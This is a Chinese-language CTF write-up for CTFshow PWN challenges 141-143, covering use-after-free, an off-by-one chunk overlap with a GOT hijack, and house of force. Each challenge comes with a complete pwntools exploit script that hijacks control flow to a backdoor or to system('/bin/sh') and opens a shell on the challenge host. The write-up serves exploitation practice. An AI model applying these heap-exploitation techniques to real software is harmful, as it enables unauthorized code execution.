CTFshow PWN 141--待更新(堆漏洞)

141–基础UAF

正常菜单

image-20260307205432834

进入add函数,第一个堆块在1行被申请,8个字节,在22行被赋值一个printf作用的函数
32位程序系统还会分配一个0x8字节的管理头,所以在这里系统每次会先分配0x10字节

然后第二个堆块是让用户输入大小在27行

image-20260307205543296

接着就是del函数,这里就存在uaf漏洞,释放了堆块单数没将堆块滞空,可利用

image-20260307210200782

print函数正常调用

image-20260307210411328

存在后门函数

image-20260307210418812

目的是将add函数中的print覆盖为后门并执行,

先申请两个堆块,此时会先申请一个上面说到的0x10的控制块,然后再申请自己设定的0x20加上0x8管理头,对齐之后为0x30字节的堆空间,这个空间内随便填入,重点是0x10的控制块,需要将这个控制块覆盖为后门函数。

随后释放这两个堆块,由于LIFO原则,chunk1的0x10控制块在chunk0的上方

Tcache bin for size 0x10排队状态:顶部[ C1 ] -> [ C0 ]底部

后面add(0x8,p(backdoor))时候,会按部就班先申请那个带有管理头0x10大小的控制块

此时c1被0x10的tcache bin中掏出来

然后执行分配0x8时候因为需要对齐,对齐之后又是0x10,这时候会将bin中的c0掏出来

然后将c0中写入后门最后调用print函数

1
2
3
4
add(0x20,b'aaaa')
add(0x20,b'bbbb')
delete(0)
delete(1)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('./pwn')
p = remote('pwn.challenge.ctf.show',28186)
elf = ELF('./pwn')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recvuntil('\xf7')[-4:])
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------

def cmd(x):
ru(b'choice :')
sl(str(x))

def add(size,data):
cmd(1)
ru(b'Note size :')
sl(str(size))
ru(b'Content :')
sl(data)
def delete(index):
cmd(2)
ru(b'Index :')
sl(str(index))
def show(index):
cmd(3)
ru(b'Index :')
sl(str(index))
add(0x20,b'aaaa')
add(0x20,b'bbbb')
delete(0)
delete(1)
add(0x8,p32(0x8049684))
pause()
show(0)
inter()


142–off-by-one单字节溢出堆块重叠+GOT劫持

64位程序

正常菜单类型,没给后门

image-20260310204552737

crate函数,依旧申请了两个chunk

第一个在30行被赋值为size,在24行在第一个chunk+8的位置放置了第二个chunk指针,后面在32行被读取

image-20260310205931749

edit函数

在第19行读入函数中,第二个参数为读入的长度,但是在后面多加了1个字节长度,出现了单字节溢出漏洞(off-by-one)

image-20260310204620707

show函数

输出函数,在18行输出第一个chunk储存的第二个chunk的指针,以格式化字符串的形式打印出第一个chunk中储存的地址,出现了泄露地址,想到got表劫持

image-20260310204627778

del函数,存在经典uaf

image-20260310204637056

整理思路,存在uaf,单字节溢出可以导致堆块重叠,泄露指针可以覆盖为got表泄露libc,

劫持free函数got表为system,然后主动触发free函数也就是sys

先申请两个堆块,这里可以看到一共出现4个堆块,大小都为0x20

第一个申请0x18是为了卡这个阈值,因为如果申请0x18字节,系统还会给你分配0x20空间,为了将这个chunk0填满

从而利用后面的单字节溢出漏洞,

申请大小 (Request) 计算公式 (Req + Header) 最终堆块大小 (Chunk Size) 备注
8 (控制块) $8 + 16 = 24$ 0x20 触发最小尺寸限制
0x10 (16字节) $16 + 16 = 32$ 0x20 刚好填满
0x18 (24字节) $24 + 16 = 40$ 0x20 复用了下一个块的 prev_size
0x19 (25字节) $25 + 16 = 41$ 0x30 超过复用极限,必须向上对齐
1
2
add(0x18,b'aaaa')
add(0x10,b'bbbb')

image-20260310213444341

这里修改chunk0,前面填满18个字节,后面还有一个单字节的溢出,可以覆盖下面堆块的size部分

1
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")

image-20260311143320286

这里看到chunk1的大小已经变成0x40字节

image-20260311144243603

释放之后,再申请0x30,的堆块就会从bin中掏出这个0x40字节的堆块,前面先填满32字节,在0x40字节时候覆盖为0x30,是因为这是原本堆块的size,防止崩溃,就还将其大小覆盖上去,后面将指针覆盖为free函数的got地址。

后面格式化字符串会将这个指针打出来,也就泄露了free的got值可以算libc基址打sys

1
add(0x30, p64(elf.got['free']) * 4 + p64(0x30) + p64(elf.got['free'])) 

image-20260313210357582

将chunk1,free的got指针改为system函数的指针

最后释放chunk0,此时free已经被覆盖为system地址,free就等于system,也就是system(0),而0中的内容在上面已经被覆盖为binsh

1
2
edit(1,p64(system))
delete(0)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

# p = process('pwn(1)')
p = remote('pwn.challenge.ctf.show',28167)
elf = ELF( '/home/sirius/桌面/winDesktop/Share/download/pwn(1)' )
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------
def cmd(x):
p.recvuntil(b'choice :')
p.sendline(str(x))
def add(size,data):
cmd(1)
p.recvuntil(b'Size of Heap : ')
p.sendline(str(size))
p.recvuntil(b'Content of heap:')
p.sendline(data)
def delete(index):
cmd(4)
p.recvuntil(b'Index :')
p.sendline(str(index))
def show(index):
cmd(3)
p.recvuntil(b'Index :')
p.sendline(str(index))
def edit(index,data):
cmd(2)
p.recvuntil(b'Index :')
p.sendline(str(index))
p.recvuntil(b'Content of heap : ')
p.send(data)
add(0x18,b'aaaa')
add(0x10,b'bbbb')
# pause()
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# pause()
delete(1)
# pause()
add(0x30, p64(elf.got['free']) * 4 + p64(0x30) + p64(elf.got['free']))
# pause()
show(1)
p.recvuntil(b'Content : ')
free_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(free_addr))
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
system=libc_base+libc.dump('system')
edit(1,p64(system))
# pause()
delete(0)
p.interactive()

143–house of force

image-20260316203037987

add函数正常申请堆块,让用户输入大小,申请多个堆块,list储存着每个堆块的大小

image-20260316203101957

edit函数存在漏洞,在输入大小的时候没有检测大小机制,导致可以造成堆溢出

image-20260316203522377

del函数正常,没有存在uaf漏洞,free后滞空了

image-20260316203650245

程序存在后门

image-20260316204123992

这里执行case 5的时候会执行v4[1],所以就要想办法把v4[1]覆盖为后门并执行

这里先申请一个0x30的堆块,看v4和top chunk的距离

image-20260317153134830

这里看top chunk的size在指针+8字节的位置,计算一下后面用户申请的堆块到top chunk size的距离,计算后面需要填充多少字节能覆盖size

image-20260317154247834

接着调用edit进行覆盖,前面先填充0x38个垃圾字节后面大小覆盖为一个极大值0xffffffffffffffff

1
edit(0,0x50,b'a'*(0x38)+p64(0xffffffffffffffff))

由于上面已经计算过top chunk和v4[1]的距离,相差0x60字节,目的再申请一个堆块将chunk移动到v4[1]这个位置的chunk,能这么做是因为堆块申请的机制是简单的指针加减运算,当申请的堆块小于top chunk size时候,系统会直接从top chunk去进行分配,分配的机制就是指针的加减,如果大于size系统则会去系统去找新内存。

这里申请负数是要把新申请这个堆块通过指针减法的形式移动到v4[1]这个位置,实现堆块重叠,size是无符号类型,负数系统会判定他为一个极大的正数,刚刚覆盖top chunk size为一个极大的数就起到了作用。

为什么要0x60+0x8?

数学推导公式:

假设:

  • 当前 Top Chunk 地址 = old_top
  • 目标地址(我们要覆盖的 v4)= target_addr
  • 我们需要申请的 Chunk 实际大小(对齐后)= nb

公式是:target_addr = old_top + nb

推导出:nb = target_addr - old_top

在你的题目里,这个差值计算出来是 -0x60。但注意,nb对齐后的最终大小

为什么申请时要减 8?

进入 malloc(req) 后,glibc 会把你的 req 转换成 nb

nb = (req + SIZE_SZ + MALLOC_ALIGN_MASK) & \sim MALLOC_ALIGN_MASK

在 64 位下:

  • SIZE_SZ = 8
  • MALLOC_ALIGN_MASK = 15 (0xF)

所以:nb = (req + 8 + 15) & \sim 15

如果你直接申请 -0x60,经过公式计算:

nb = (-0x60 + 8 + 15) & \sim 15 = (-0x49) & \sim 15 = -0x50(向上取整对齐)

这会导致 Top Chunk 少移动了 0x10,没对准!

所以你要反推:

如果你想要 nb = -0x60,那么你需要令 req + 8 在对齐前后的结果为 -0x60

最稳妥的办法就是让 req + 8 = -0x60,即 req = -0x60 - 8

1
2
3
size=-(0x60+0x8)
pause()
add(str(size),b'bbbb')

image-20260317181704185

移动成功了,现在填入后门,调试看下,v4的堆块被成功填入后门地址

1
add(0x10,p64(0x400d83)*2)

image-20260317181747952

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

p = process('./pwn')
# p = remote('pwn.challenge.ctf.show',28186)
elf = ELF( './pwn' )
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# rop = ROP('./pwn')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda :p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))

if args.G:
gdb.attach(p)
#-------------------------------------------------
def cmd(x):
p.recvuntil(b'Your choice:')
p.sendline(str(x))
def add(size,data):
cmd(2)
p.recvuntil(b'Please enter the length:')
p.sendline(str(size))
p.recvuntil(b'Please enter the name:')
p.sendline(data)
def delete(index):
cmd(4)
p.recvuntil(b'Please enter the index:')
p.sendline(str(index))
def show():
cmd(1)
def edit(index,size,data):
cmd(3)
p.recvuntil(b'Please enter the index:')
p.sendline(str(index))
p.recvuntil(b'Please enter the length of name:')
p.sendline(str(size))
p.recvuntil(b'Please enter the new name:')
p.sendline(data)

add(0x30,b'aaaa')
edit(0,0x50,b'a'*(0x38)+p64(0xffffffffffffffff))
size=-(0x60+0x8)
pause()
# cmd(2)
# ru(b'Please enter the length:')
# sl(str(size))
add(str(size),b'bbbb')
pause()
add(0x10,p64(0x400d83)*2)
pause()
cmd(5)

p.interactive()